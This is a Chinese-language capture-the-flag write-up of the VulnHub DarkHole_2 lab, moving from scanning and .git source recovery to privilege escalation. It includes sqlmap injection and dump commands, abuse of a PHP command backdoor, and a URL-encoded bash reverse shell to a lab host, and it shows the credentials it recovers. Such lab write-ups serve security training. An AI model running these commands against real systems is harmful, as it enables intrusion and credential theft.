【靶机实战】VulnHub DarkHole_2 打靶记录

前言

DarkHole_2是VulnHub发布的一个WEB靶场,难易程度:难。

靶场下载地址:https://www.vulnhub.com/entry/darkhole-2,740/

打靶记录

信息收集

首先使用nmap扫描:nmap -sP 192.168.100.0/24,扫描出存活的IP主机。

图片[1] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

通过扫描,发现靶机的存活IP为192.168.100.150,对该IP地址进行全端口扫描并且探测详细信息:nmap -A -p 1-65535 192.168.100.150

图片[2] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

通过nmap扫描,发现80端口有git仓库,使用Githack工具把仓库进行源码恢复

图片[3] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

对恢复出的文件进行查看,里面有不少东西,使用git工具找log看看

图片[4] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

通过恢复.git文件,发现了login.php文件,对192.168.100.150/login.php进行访问,成功发现登录界面

图片[5] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

登录需要邮箱和密码,使用git工具对恢复的.git源码进行查找缓存,发现了一行被删减的代码,发现为测试账号与密码:[email protected] / 321

图片[6] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

使用账号密码成功登录!

图片[7] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

漏洞利用

访问页面发现一个注入点:http://192.168.100.150/dashboard.php?id=1,使用sqlmap进行爆破,这里爆破我们切记需要加上cookie!

图片[8] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell
图片[9] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell
图片[10] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

SQL注入成功,利用sqlmap看一下darkhole_2数据库中的表有什么

sqlmap -u "http://192.168.100.150/dashboard.php?id=1" --cookie=PHPSESSID="dsvfgdnc9r2aa3f4qglqbsi0p7" -D darkhole_2 --tables --batch
图片[11] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

darkhole_2库中有ssh与users两个表,将两个表中的数据进行dump(全部展示)

sqlmap -u "http://192.168.100.150/dashboard.php?id=1" --cookie=PHPSESSID="18qrep0ng8ql7aivl5n91rpqab" -D darkhole_2 --dump  --batch
图片[12] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

darkhole_2数据库中的ssh表中,成功发现了SSH的登录用户名和密码:jehad / fool

试一下,成功登录!

图片[13] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

前往losy的家目录,发现第一个flag文件:user.txt

cd /home/jehad && cat user.txt
图片[14] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

查看Crontab定时任务:cat /etc/crontab,发现定时任务,执行/opt/web里面的PHP代码,并且监听9999端口

图片[15] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

查看一下/opt/web/index.php的PHP代码,发现是一个PHP后门代码

图片[16] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

执行以下Shell命令:netstat -tnlp,查看一下tcp进程

图片[17] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

9999端口是对外监听状态,尝试使用curl访问:curl "127.0.0.1/?cmd=id",成功执行Linux命令:id

图片[18] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

在cmd处传入反弹Shell的参数,不过需要url编码一下,执行命令

curl "127.0.0.1:9999/?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.128%2F1234%200%3E%261'"

成功反弹Shell之后,搜索了一番之后,在losy的家目录下的.bash_history文件中发现了losy密码:gang

图片[19] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

提权

SSH切换为losy用户:su - losy,输入sudo -l查看一下可以使用 sudo 命令执行的权限的命令

图片[20] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

发现python3可以随便用sudo,那就使用python3提权。在GTFOBins中查找提权命令。

图片[21] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell
图片[22] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell

输入命令,成功提权为ROOT!查看/root目录下的文件:root.txt,获得Flag!

图片[23] - 【靶机实战】VulnHub DarkHole_2 打靶记录 - 极核GetShell
THE END
想说的话 1  网站运营艰难(真的难),以真心❤️换真心💕,如果帮助到你,可以 开通金贝会员 支持一下本站!
2  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞66 分享
茶谈区 抢沙发

请登录后发表评论

    暂无评论内容